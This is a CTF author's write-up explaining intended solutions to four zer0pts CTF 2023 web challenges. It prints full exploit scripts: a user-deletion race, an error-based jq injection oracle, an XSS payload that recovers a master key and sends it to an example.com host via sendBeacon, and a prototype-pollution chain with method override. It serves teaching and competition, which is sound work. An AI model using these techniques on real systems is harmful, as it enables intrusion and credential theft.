(日本語: zer0pts CTF 2023で出題した問題の解説)
Hello!
zer0pts hosted zer0pts CTF 2023 from July 15th to 16th. I have created four Web challenges (Warmuprofile, jqi, Neko Note, Plain Blog) this year. I hope you enjoyed our challenges and learned something from those.
In this article, I will describe intended solutions briefly. I would really appreciate it if you could write and share your writeups for this CTF.
- [Web 137] Warmuprofile (48 solves)
- [Web 149] jqi (40 solves)
- [Web 181] Neko Note (26 solves)
- [Web 239] Plain Blog (14 solves)
[Web 137] Warmuprofile (48 solves)
I made an app to share your profile.
Note: Click "Spawn container" to make a challenge container only for you. When writing exploits, be careful that the container asks for BASIC auth credentials.
(URL)
Attachments: warmuprofile_80841914cb6ef9b9cdb84c3234ff8704.tar.gz
This is a warmup challenge for Web. In this challenge, you need to log in as admin
user to obtain the flag at /flag
, however, admin
exists by default and you cannot register a user with the username already registered.
app.get('/flag', needAuth, (req, res) => { if (req.session.username !== 'admin') { flash(req, 'only admin can read the flag'); return res.redirect('/'); } return res.render('flag', { chall_name: CHALL_NAME, flash: getFlash(req), flag: FLAG }); });
The app has a user deletion API at /user/:username/delete
. You cannot delete users except yourself in a normal way, though, if you can somehow delete admin
, then you can re-register admin
to get the flag.
What if User.findOne
fails and returns null
here? Then, user?.dataValues
is undefined
, so { ...user?.dataValues }
becomes {}
, and the condition of User.destroy
will be empty. This causes DELETE FROM `Users`
, which deletes all users from the database.
This could be done when you use a session that is logged in but the username stored in the session is already deleted. The session used to delete a user will be discarded by req.session.destroy()
and cannot reuse, but you could avoid this by using two sessions simultaneously: one to delete the user itself, and the other one to delete all users.
app.post('/user/:username/delete', needAuth, async (req, res) => { const { username } = req.params; const { username: loggedInUsername } = req.session; if (loggedInUsername !== 'admin' && loggedInUsername !== username) { flash(req, 'general user can only delete itself'); return res.redirect('/'); } // find user to be deleted const user = await User.findOne({ where: { username } }); await User.destroy({ where: { ...user?.dataValues } }); // user is deleted, so session should be logged out req.session.destroy(); return res.redirect('/'); });
Here is an exploit:
import uuid import requests HOST = 'http://localhost:3000' USERNAME, PASSWORD = 'test', 'test' u, p = str(uuid.uuid4()), str(uuid.uuid4()) s1 = requests.Session() s1.auth = USERNAME, PASSWORD s1.post(f'{HOST}/register', data={ 'username': u, 'password': p, 'profile': 'aaa' }) s2 = requests.Session() s2.auth = USERNAME, PASSWORD s2.post(f'{HOST}/login', data={ 'username': u, 'password': p }) s1.post(f'{HOST}/user/{u}/delete') s2.post(f'{HOST}/user/{u}/delete') s3 = requests.Session() s3.auth = USERNAME, PASSWORD s3.post(f'{HOST}/register', data={ 'username': 'admin', 'password': 'admin', 'profile': 'aaa' }) print(s3.get(f'{HOST}/flag').text)
zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}
[Web 149] jqi (40 solves)
I think jq is useful, so I decided to make a Web app that uses jq.
(URL)
Attachments: jqi_e088823cd8a1f29b076271e3e8e5e4da.tar.gz
In this challenge, you need to abuse a weird vulnerability "jq injection (jqi)". The flag is in the FLAG
environment variable.
Here is the code to build a conditional expression like | select(.flag | contains("zer0pts"))
. This checks if the query doesn't have "
or \(
to avoid jq injection by breaking a string literal or using string interpolation.
However, you can use \
to break a string literal. When you give \ in name
to this, the query built here is | select(.name | contains("\"))
. The trailing "
will be treated as just a character, not a symbol to end a string literal.
You can give multiple conditions, so if you give ))]|123# in name
as the second condition, the entire query will be [.challenges[] | select(.name | contains("\")) | select(.name | contains("))]|123#…
. This is a valid query. You just replace 123
to query that , then you can steal the flag. ...really?
for (const cond of conds) { const [str, key] = cond.split(' in '); if (!KEYS.includes(key)) { return reply.send({ error: 'invalid key' }); } // check if the query is trying to break string literal if (str.includes('"') || str.includes('\\(')) { return reply.send({ error: 'hacking attempt detected' }); } condsQuery += `| select(.${key} | contains("${str}"))`; }
Sadly, if conditions are given by a user, the app prints a sorry, you cannot use filters in demo version
and doesn't give us the result of the query. However, it runs the query even if conditions are given and tells us if an error occurs or not. You can use this as an oracle like Error-based SQL injection like getting an information if a condition is met, for example, the first character of the flag is z
or not.
let result; try { result = await jq.run(query, './data.json', { output: 'json' }); } catch(e) { return reply.send({ error: 'something wrong' }); } if (conds.length > 0) { reply.send({ error: 'sorry, you cannot use filters in demo version' }); } else { reply.send(result); }
You can use zero division to do Error-based jq injection like the below. Setting a divisor to a condition like if env.FLAG[0:1] == "z" then 0 else 1 end
that you want to know it is met or not, if the first character of env.FLAG
is z
, then error occurs because a dividend is divided by 0. If not, error doesn't occur.
$ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/1)%23+in+name" {"error":"sorry, you cannot use filters in demo version"} $ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/0)%23+in+name" {"error":"something wrong"}
An exploit is as below. This makes characters like [123]|implode
and checks those characters are same as the nth character of the flag. By repeating this, it steals the flag character by character.
import requests HOST = 'http://jqi.2023.zer0pts.com:8300' def query(i, c): r = requests.get(f'{HOST}/api/search', params={ 'keys': 'name,author', 'conds': ','.join(x for x in [ '\\ in name', f'))]|env.FLAG[{i}:{i+1}]as$c|([{c}]|implode|1/(if($c==.)then(0)else(1)end))# in name' ]) }) return 'something' in r.json()['error'] i = 0 flag = '' while not flag.endswith('}'): for c in range(0x20, 0x7f): if query(i, c): flag += chr(c) continue print(i, flag) i += 1
zer0pts{1dk_why_1t_uses_jq}
[Web 181] Neko Note (26 solves)
I made another note app.
(URL)
Attachments: neko-note_9c9190afaa278a9ea487dde554b4883f.tar.gz
This is a note app. This app has two weird features: locking notes with passwords and links to other notes. On locked notes, you need to input a password to view the contents.
On notes, a note ID enclosed by brackets like [6f16cd75-c50d-4ea2-b845-a085ff982a57]
will be replaced by a link as below screenshot:
Also, you can report your notes to admin. Admin will visit the reported notes with Playwright script as below. Before visiting notes, admin creates a note includes the flag with a password, so you need to steal the ID of the note and the password to obtain the flag.
If the note admin will visit is locked, admin will use a master key, which can unlock all notes. So, you can also use a master key to read admin's note. The master key is deleted after unlocking a note, so even if you achieve an XSS, you need to find the way to recover the master key.
const context = await browser.newContext(); const page = await context.newPage(); // post a note that has the flag await page.goto(`${BASE_URL}/`); await page.type('#title', 'Flag'); await page.type('#body', `The flag is: ${FLAG}`); const password = crypto.randomBytes(64).toString('base64'); await page.type('#password', password); await page.click('#submit'); // let's check the reported note await page.goto(`${BASE_URL}/note/${id}`); if (await page.$('input') != null) { // the note is locked, so use master key to unlock await page.type('input', MASTER_KEY); await page.click('button'); // just in case there is a vuln like XSS, delete the password to prevent it from being stolen const len = (await page.$eval('input', el => el.value)).length; await page.focus('input'); for (let i = 0; i < len; i++) { await page.keyboard.press('Backspace'); } } // it's ready now. click "Show the note" button await page.click('button'); // done! await wait(1000); await context.close();
Let's find a way to do XSS. When rendering notes, a function on server-side like this is called. This function replaces dangerous characters like <
and >
, however, links are generated after escaping.
// escape note to prevent XSS first, then replace newlines to <br> and render links func renderNote(note string) string { note = html.EscapeString(note) note = strings.ReplaceAll(note, "\n", "<br>") note = replaceLinks(note) return note }
replaceLinks
is as below. A title of a note are escaped, but it is inserted to title
attribute of a
tag that is not enclosed by "
. Because of this, you can insert attributes using a note with a title like a style=color:red
. In this example, the link generated is <a href=/note/(ID) title=a style=color:red>…</a>
, so the color of this link becomes red.
// replace [(note ID)] to links func replaceLinks(note string) string { return linkPattern.ReplaceAllStringFunc(note, func(s string) string { id := strings.Trim(s, "[]") note, ok := notes[id] if !ok { return s } title := html.EscapeString(note.Title) return fmt.Sprintf( "<a href=/note/%s title=%s>%s</a>", id, title, title, ) }) }
To escalate this attribute injection to XSS, you can use onanimationend
attributes. Luckily there is a keyframe wag
is in style.css
. Using this keyframe, you can achive an XSS with a payload like a onanimationend=alert(123) style=animation-name:wag;animation-duration:0s
.
How can we steal the password in admin's note or the master key? One idea is to undo the deletion of master key in input
tag. There is an API document.execCommand
that you can do some special commands on a browser, and looking through this document, you could find undo
command, which enables you to recover the text deleted from input
.
Finally, by letting admin to execute this code using XSS, you could get the ID of admin's note and the master key.
const h = localStorage.getItem('neko-note-history'); const id = JSON.parse(h)[0].id; document.execCommand('undo'); const pw = document.querySelector('input').value; navigator.sendBeacon(`https://example.com/?id=${id}&pw=${pw}`);
zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
[Web 239] Plain Blog (14 solves)
I made a blog service consists of two servers: API server and Frontend server. The former provides APIs that you can see, add, or modify posts. The latter uses responses from API server and render it.
If you could get 1,000,000,000,000 likes on your post, I will give you the flag. The maximum number of likes is 5,000, though.API server: (URL)
Frontend server: (URL)Attachments: plain-blog_0ca2bbfebee2a86c919afa1fc29f1c41.tar.gz
This is a blog service that is composed of two containers: API server and frontend server. The former provides APIs like posting, reading, or updating articles, but the responses are in JSON. The latter proivdes GUI to use the API server. Origins of those servers are different, so the requests from the frontender server to the API server is cross-origin. To make it able to do that, the API server provides CORS headers like Access-Control-Allow-Origin
and Access-Control-Allow-Methods
.
You can get the flag at /api/post/:id/has_enough_permission_to_get_the_flag
on the API server, but you need to make a post's post['permission]['flag']
truthy.
# the post has over 1,000,000,000,000 likes, so we give you the flag get '/api/post/:id/has_enough_permission_to_get_the_flag' do id = params['id'] if !posts.key?(id) return { 'error' => 'no such post' }.to_json end permission = posts[id]['permission'] if !permission || !permission['flag'] return { 'flag' => 'nope' }.to_json end return { 'flag' => FLAG }.to_json end
post['permission]['flag']
is set true
when a post get 1,000,000,000,000 likes, but as you can see the code of /api/post/:id/like
, the maximum number of likes is 5,000.
MAX_LIKES = 5000 post '/api/post/:id/like' do # (snipped) if (posts[id]['like'] + likes) > MAX_LIKES return { 'error' => 'too much likes' }.to_json end posts[id]['like'] += likes # get 1,000,000,000,000 likes to capture the flag! if posts[id]['like'] >= 1_000_000_000_000 posts[id]['permission']['flag'] = true end return { 'post' => posts[id] }.to_json end
There is an API where you can update information of posts, but only admin can change permission
. In other words, if you can let admin make requests to this API, you can get the flag.
put '/api/post/:id' do token = request.env['HTTP_AUTHORIZATION'] is_admin = token == ADMIN_KEY id = params['id'] if !posts.key?(id) return { 'error' => 'no such post' }.to_json end id = params['id'] if SAMPLE_IDS.include?(id) return { 'error' => 'sample post should not be updated' }.to_json end if !is_admin && params['permission'] return { 'error' => 'only admin can change the parameter' }.to_json end if !(params['title'] || params['content']) return { 'error' => 'no title and content specified' }.to_json end posts[id].merge!(params) return posts[id].to_json end
On the frontend server, there is a Prototype Pollution vulnerability here. This is a code that retrieves information of multiple articles. It sequentially fetches data from /api/post/(ID)
and stores the data on posts
.
What if post
is Object.prototype
and data
is a malicious user-controlled object?
First, post
can be Object.prototype
because it is initialized by post = posts[id]
, where id
is given by a user, and you can inject __proto__
as an ID.
Next, data
is data fetched from API and will not be updated when res.post
is falsy. This means that it uses the data of the previous article when fetching data from API fails. Fetching data fails when the article corresponds to ID given does not exist like __proto__
.
Because of this bug, if it fetches data in the order of a malicious article, then __proto__
, you can pollute Object.prototype
. You can easily prepare malicious object using PUT /api/post/:id
because it accepts anything as long as permission
property is not in the parameters you submit.
if (page === 'post' && params.has('id')) { const ids = params.get('id').split(','); const types = { title: 'string', content: 'string', like: 'number' }; let posts = {}, data, post; for (const id of ids) { try { const res = await (await request('GET', `/api/post/${id}`)).json(); // ToDo: implement error handling if (res.post) { data = res.post; } // to allow duplicate id but show only once if (!(id in posts)) { posts[id] = {}; } post = posts[id]; // type check for ([key, value] of Object.entries(data)) { // we don't care the types of properties other than title, content, and like // because we don't use them if (key in types && typeof value !== types[key]) { continue; } post[key] = value; } } catch {} } content.innerHTML = ''; for (const [id, post] of Object.entries(posts)) { content.appendChild(await renderPost(id, post, isAdmin ? 1000 : 1)); } }
How we can use this Prototype Pollution? There is a gadget, fetch
. For example, when you pollute Object.prototype.headers
, even though no headers are given as fetch
options, additional headers will be sent. After Object.prototype
is polluted, admin will push like button and a request to add likes will be sent, so you can control this request.
Referring to Access-Control-Allow-Methods
, you can see that the API server only allows GET, POST, OPTIONS requests from cross-origin websites. However, you have to use PUT
method to let admin update our article's information. You can use X-HTTP-Method-Override
in this case. As you can control headers sent by fetch
, by polluting Object.prototype.headers['X-HTTP-Method-Override']
to PUT
, the API server treats the request as a PUT
request, even though the real method is POST
.
There are two problems to be solved yet. One is that the route to add likes is /api/post/:id/like
, but the route you want to call is /api/post/:id
. The other is the way to let admin send permission[flag]=yes
as a parameter.
You can solve both by using (article ID that exists)?title=piyo&permission[flag]=yes&
as an ID of articles. The path fetch
uses will be like /api/post/(article ID that exists)?title=piyo&permission[flag]=yes&/like
, so the browser will send a request to /api/post/(article ID that exists)
. Also, params['permission']
on the API server refers to query parameters, not only a request body and path parameters.
The final exploit is as below:
import requests API_BASE_URL = 'http://localhost:8400' FRONTEND_BASE_URL = 'http://localhost:8401' r = requests.post(f'{API_BASE_URL}/api/post', data={ 'title': 'aaa', 'content': 'aaa' }) id = r.json()['post']['id'] data = { 'title': 'bbb', 'content': 'bbb', 'headers[X-HTTP-Method-Override]': 'PUT' } r = requests.put(f'{API_BASE_URL}/api/post/{id}', data='&'.join(f'{k}={v}' for k, v in data.items()), headers={ 'Content-Type': 'application/x-www-form-urlencoded' }) payload = f'{id}%3ftitle%3dpiyo%26permission%5bflag%5d%3dyes%26,{id},__proto__,a' print(f'report {payload}') print(f'then, access {API_BASE_URL}/api/post/{id}/has_enough_permission_to_get_the_flag')
zer0pts{tan_takatatontan_ton_takatatantatotan_8jOQmPx2Mjk}